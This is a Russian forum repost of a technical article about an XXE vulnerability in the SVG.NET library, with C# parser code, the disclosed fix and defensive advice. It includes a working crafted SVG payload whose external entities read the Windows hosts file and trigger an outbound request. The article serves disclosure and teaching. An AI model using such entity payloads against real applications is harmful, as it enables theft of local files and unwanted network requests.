На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
  
> Почему моё приложение при открытии SVG-файла отправляет сетевые запросы? , Вы решили сделать приложение, работающее с SVG. Но внезапно обнаруживаете, что оно отправляет странные сетевые запросы, а с хост-машины утекают данные. Как же так?

    Вы решили сделать приложение, работающее с SVG. Набрали библиотек, запаслись энтузиазмом, и в итоге всё удалось.
    Но вот незадача! Внезапно вы обнаруживаете, что приложение отправляет странные сетевые запросы. Кроме того, с хост-машины утекают данные. Как же так?


    user posted image

    В современном мире на каждый случай жизни есть библиотека. Поэтому для своего приложения мы также не будем изобретать велосипед, а возьмём готовое решение. Например, SVG.NET. Исходный код проекта доступен на GitHub. Сама библиотека дистрибьютится как NuGet-пакет, что очень удобно в плане подключения к проекту. Кстати, на странице проекта в NuGet Gallery можно увидеть, что библиотеку загрузили 2.5 миллиона раз – впечатляет!

    Рассмотрим синтетический пример описанного ранее приложения:
    ExpandedWrap disabled
      void ProcessSvg()
      {
        using var svgStream = GetSvgFromUser();    
        var svgDoc = SvgDocument.Open<SvgDocument>(svgStream);    
        
        // SVG document processing...
       
        SendSvgToUser(svgDoc);
      }

    Суть проста:
    1. Получаем от пользователя картинку. Как именно – не принципиально.
    2. Создаётся экземпляр SvgDocument, с которым дальше осуществляются какие-то действия. Например, некоторые преобразования.
    3. Изменённый объект отправляется обратно пользователю.
    4. Реализация методов GetSvgFromUser и SendSvgToUser в данном случае не столь важна. Будем считать, что первый принимает картинку по сети, а второй отправляет её обратно.

    Что скрывается за "SVG document processing..."? И вновь здесь нам это не важно, так что у нас... ничего не будет.

    По факту мы просто загружаем картинку и сохраняем её обратно. Просто? Достаточно, чтобы начали происходить странные вещи. :)

    Для экспериментов возьмём специально заготовленный SVG-файл. Внешне он выглядит как логотип анализатора PVS-Studio. Посмотрим на его отрисовку в браузере, чтобы убедиться, что всё с ним в порядке.

    user posted image

    Никаких проблем нет. Отправляем в наше приложение. Оно никаких операций над изображением не проводит (напоминаю, что за комментарием в коде ничего не скрывается) и просто отправляет SVG нам обратно.

    Открываем полученный файл и ожидаемо видим ту же картину.

    user posted image

    Самое интересное произошло за кулисами (во время вызова метода SvgDocument.Open<T>).

    Первое – приложение отправило незапланированный запрос к pvs-studio.com. Это можно было увидеть, например, отмониторив сетевую активность приложения.

    user posted image

    Второе – пользователь приложения получил файл hosts с машины, на которой открывался SVG.

    Как? Где этот файл? Давайте посмотрим на текстовое представление SVG-файла, полученного от приложения. Ненужные части сократим, чтобы не мешались.
    ExpandedWrap disabled
      <?xml version="1.0" encoding="utf-8"?>
      <!DOCTYPE svg .... >
      <svg ....>
        <style type="text/css">
          ....
        </style>
        <polygon .... />
        <polygon .... />
        <polygon .... />
        <polygon .... />
        <polygon># Copyright (c) 1993-2009 Microsoft Corp.
      #
      # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
      #
      # This file contains the mappings of IP addresses to host names. Each
      # entry should be kept on an individual line. The IP address should
      # be placed in the first column followed by the corresponding host name.
      # The IP address and the host name should be separated by at least one
      # space.
      #
      # Additionally, comments (such as these) may be inserted on individual
      # lines or following the machine name denoted by a '#' symbol.
      #
      # For example:
      #
      #      102.54.94.97     rhino.acme.com          # source server
      #       38.25.63.10     x.acme.com              # x client host
      #
      # localhost name resolution is handled within DNS itself.
      #   127.0.0.1       localhost
      #   ::1             localhost
      #
      # A special comment indicating that XXE attack was performed successfully.
      #</polygon>
      </svg>

    Вот и hosts файл с целевой машины – аккуратно спрятан в SVG-файле без каких-либо внешних проявлений.

    Откуда там взялось содержимое hosts? Откуда дополнительный сетевой запрос? Что ж, давайте разбираться.

    Разбираем атаку

    Те, кто знаком с XXE-атакой, возможно, уже поняли, в чём дело. Если про XXE вы не слышали или подзабыли, что это такое – настоятельно рекомендую ознакомиться со статьёй "Уязвимости из-за обработки XML-файлов: XXE в C# приложениях в теории и на практике". В ней я рассказываю о сути XXE, причинах и последствиях. Эта информация потребуется для понимания дальнейшего изложения.

    Напомню, что для проведения XXE-атаки необходимы:
    • данные от пользователя, которые могут быть скомпрометированы;
    • небезопасно сконфигурированный XML-парсер.

    Злоумышленнику также на руку будет, если ему в каком-то виде вернётся результат обработки скомпрометированных данных XML-парсером.

    В данном случае "все звёзды совпали":
    • скомпрометированные данные – SVG файл, который пользователь отправляет в приложение;
    • небезопасно сконфигурированный XML-парсер – есть, находится внутри библиотеки открытия SVG-файла;
    • результат работы парсера возвращается обратно пользователю в виде "обработанного" SVG-файла.

    Скомпрометированные данные

    Первое, что нужно вспомнить – формат SVG основан на XML. Это даёт возможность определять в SVG-файлах XML-сущности, которые и нужны для проведения XXE.

    Несмотря на то, что в браузере SVG-файл "подставной" выглядит обычным образом, внутри он содержит объявление двух сущностей:
    ExpandedWrap disabled
      <?xml version="1.0" encoding="utf-8"?>
      <!DOCTYPE polygon [
        <!ENTITY queryEntity SYSTEM "https://files.pvs-studio.com/rules/ccr.xml">
        <!ENTITY hostsEntity SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
      ]>
      <svg id="Layer_1"
           data-name="Layer 1"
           xmlns="http://www.w3.org/2000/svg"
           viewBox="0 0 1967 1933.8">
        <style type="text/css">
          ....
        </style>
        ....
        <polygon>&queryEntity;</polygon>
        <polygon>&hostsEntity;</polygon>
      </svg>

    Если XML-парсер работает с внешними сущностями, то:
    • при обработке queryEntity он выполнит сетевой запрос к files.pvs-studio.com;
    • при обработке hostsEntity вместо сущности он подставит содержимое файла hosts.

    Получается своего рода SVG-ловушка: при отрисовке файл выглядит обычным, но внутри оказывается с подвохом.

    Небезопасно сконфигурированный XML-парсер

    Стоит помнить, что за использование внешних библиотек приходится платить свою цену. Если у вас уже был лист возможных негативных последствий, добавляйте к нему ещё одно – потенциальные дефекты безопасности.

    Для создания экземпляра SvgDocument мы использовали метод Open<T>. Его исходный код выглядит так:
    ExpandedWrap disabled
      public static T Open<T>(Stream stream) where T : SvgDocument, new()
      {
        return Open<T>(stream, null);
      }

    Этот метод, в свою очередь, вызывает другую перегрузку:
    ExpandedWrap disabled
      public static T Open<T>(Stream stream, Dictionary<string, string> entities)
        where T : SvgDocument, new()
      {
        if (stream == null)
        {
          throw new ArgumentNullException("stream");
        }
       
        // Don't close the stream via a dispose: that is the client's job.
        var reader = new SvgTextReader(stream, entities)
        {
          XmlResolver = new SvgDtdResolver(),
          WhitespaceHandling = WhitespaceHandling.Significant,
          DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore
                                                           : DtdProcessing.Parse,
        };
        return Open<T>(reader);
      }

    Забегая вперёд, хочется сказать, что в Open<T>(reader) происходит вычитка SVG-файла и создание экземпляра SvgDocument.
    ExpandedWrap disabled
      private static T Open<T>(XmlReader reader) where T : SvgDocument, new()
      {
        ....
        T svgDocument = null;
        ....
       
        while (reader.Read())
        {
          try
          {
            switch (reader.NodeType)
            {
              ....
            }
          }
          catch (Exception exc)
          {
            ....
          }
        }
        ....
        return svgDocument;
      }

    Конструкции while (reader.Read()) и switch (reader.NodeType) должны быть хорошо знакомы всем, кто работал с XmlReader. Так как это +- типовой код вычитки XML, останавливаться на нём не будем, а вернёмся к созданию XML-парсера.
    ExpandedWrap disabled
      var reader = new SvgTextReader(stream, entities)
      {
        XmlResolver = new SvgDtdResolver(),
        WhitespaceHandling = WhitespaceHandling.Significant,
        DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore
                                                         : DtdProcessing.Parse,
      };

    Чтобы понять, является ли конфигурация парсера опасной, нужно уточнить следующие моменты:
    • что из себя представляет экземпляр SvgDtdResolver;
    • включена ли обработка DTD.

    И тут я хочу в очередной раз сказать – славься Open Source! Несказанное удовольствие состоит в том, что есть возможность самому повозиться в коде и разобраться, что и как работает.

    Начнём со свойства DtdProcessing, зависящего от SvgDocument.DisableDtdProcessing:
    ExpandedWrap disabled
      /// <summary>
      /// Skip the Dtd Processing for faster loading of
      /// svgs that have a DTD specified.
      /// For Example Adobe Illustrator svgs.
      /// </summary>
      public static bool DisableDtdProcessing { get; set; }

    Статическое свойство, значение которого мы не изменяли. В конструкторе типа оно тоже не фигурирует, значение по умолчанию – false. Соответственно, DtdProcessing принимает значение DtdProcessing.Parse.

    Переходим к свойству XmlResolver. Посмотрим, что из себя представляет тип SvgDtdResolver:
    ExpandedWrap disabled
      internal class SvgDtdResolver : XmlUrlResolver
      {
        /// ....
        public override object GetEntity(Uri absoluteUri,
                                         string role,
                                         Type ofObjectToReturn)
        {
          if (absoluteUri.ToString()
                         .IndexOf("svg",
                                  StringComparison.InvariantCultureIgnoreCase) > -1)
          {
            return Assembly.GetExecutingAssembly()
                           .GetManifestResourceStream("Svg.Resources.svg11.dtd");
          }
          else
          {
            return base.GetEntity(absoluteUri, role, ofObjectToReturn);
          }
        }
      }

    По сути SvgDtdResolver – всё тот же XmlUrlResolver. Логика только немного отличается для случая, когда absoluteUri содержит подстроку "svg". А из статьи про XXE мы помним, что использование экземпляра XmlUrlResolver для обработки внешних сущностей чревато проблемами безопасности. Выходит, что с SvgDtdResolver та же ситуация.

    Получаем выполнение всех необходимых условий:
    • обработка DTD включена (свойство DtdProcessing имеет значение DtdProcessing.Parse);
    • в парсере используется опасный резолвер (свойство XmlResolver ссылается на экземпляр небезопасного SvgDtdResolver).

    Как следствие, созданный объект SvgTextReader является потенциально (а как убедились на практике – и реально) уязвимым к XXE-атаке.

    Фикс проблемы

    На странице проекта на GitHub по поводу этой проблемы был открыт issue – "Security: vulnerable to XXE attacks". Через неделю – ещё один. Для каждого issue был сделан PR: первый, второй.

    Если вкратце, фикс заключается в том, что по умолчанию выключили обработку внешних сущностей.

    В первом PR добавили опцию ResolveExternalResources, которая отвечает за то, будет ли SvgDtdResolver обрабатывать внешние сущности. По умолчанию обработка выключена.

    user posted image

    Во втором PR кода докинули побольше, а булев флаг заменили на перечисление. По умолчанию резолвинг внешних сущностей всё так же запрещён. Изменений в коде побольше, если интересно – посмотреть их можно здесь.

    Если обновить пакет 'Svg' до безопасной версии, запустить в том же приложении и с теми же входными данными (то есть с подставным SVG-файлом), получим другие результаты.

    Приложение больше не выполняет сетевых запросов, равно как и не "крадёт" файлы. Если посмотреть результирующий SVG-файл, можно заметить, что сущности просто ни во что не раскрылись:
    ExpandedWrap disabled
      <?xml version="1.0" encoding="utf-8"?>
      <!DOCTYPE svg ...>
      <svg version="1.1"
           ....>
        <style type="text/css">
          ....
        </style>
        ....
        <polygon />
        <polygon />
      </svg>

    Как обезопаситься?

    Зависит от того, кто интересуется. :)

    Как минимум неплохо хотя бы знать про XXE, чтобы быть внимательнее, когда дело доходит до работы с XML-файлами. Конечно, это не защитит от всех опасных случаев (будем честны – ничто не защитит), но даст какое-то осознание возможных последствий.

    Помочь с поиском подобных проблем в коде могут SAST-решения. Вообще список того, что можно ловить с помощью SAST, достаточно большой, и XXE вполне в него попадает.

    Немного иначе обстоит дело, если вы используете внешнюю библиотеку, а не работаете с исходниками. Например, как в случае с нашим приложением, когда библиотека работы с SVG была подключена в качестве NuGet-пакета. Здесь SAST уже не поможет, так как доступа к исходному коду библиотеки у инструмента нет. Хотя если статический анализатор работает с промежуточным кодом (IL, например), у него всё ещё есть возможность обнаружить проблему.

    Тем не менее, для проверки зависимостей проектов используются отдельные инструменты – SCA-решения. О том, что такое SCA, почитать можно здесь. Цель таких инструментов – отслеживать использование зависимостей с известными уязвимостями и предупреждать об этом. Здесь, конечно, важную роль играет база этих самых уязвимых компонентов. Чем она больше, тем лучше.

    И, естественно, не забывайте обновлять программные компоненты. Ведь кроме новых фич и баг-фиксов в новых версиях исправляются и дефекты безопасности. Например, в SVG.NET обозреваемый дефект безопасности был закрыт в релизе 3.3.0.

    Заключение

    Как-то я уже говорил, что XXE – довольно коварная штука. Рассмотренный сегодня экземпляр коварен вдвойне. Мало того, что он спрятался за обработкой SVG-файлов, так ещё и "проникал" в приложение через NuGet-пакет. Кто знает, сколько ещё уязвимостей прячется в разных компонентах и успешно эксплуатируется?
    Сообщение отредактировано: vot -
    0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
    0 пользователей:


    Рейтинг@Mail.ru
    [ Script execution time: 0,0277 ]   [ 16 queries used ]   [ Generated: 19.03.24, 03:35 GMT ]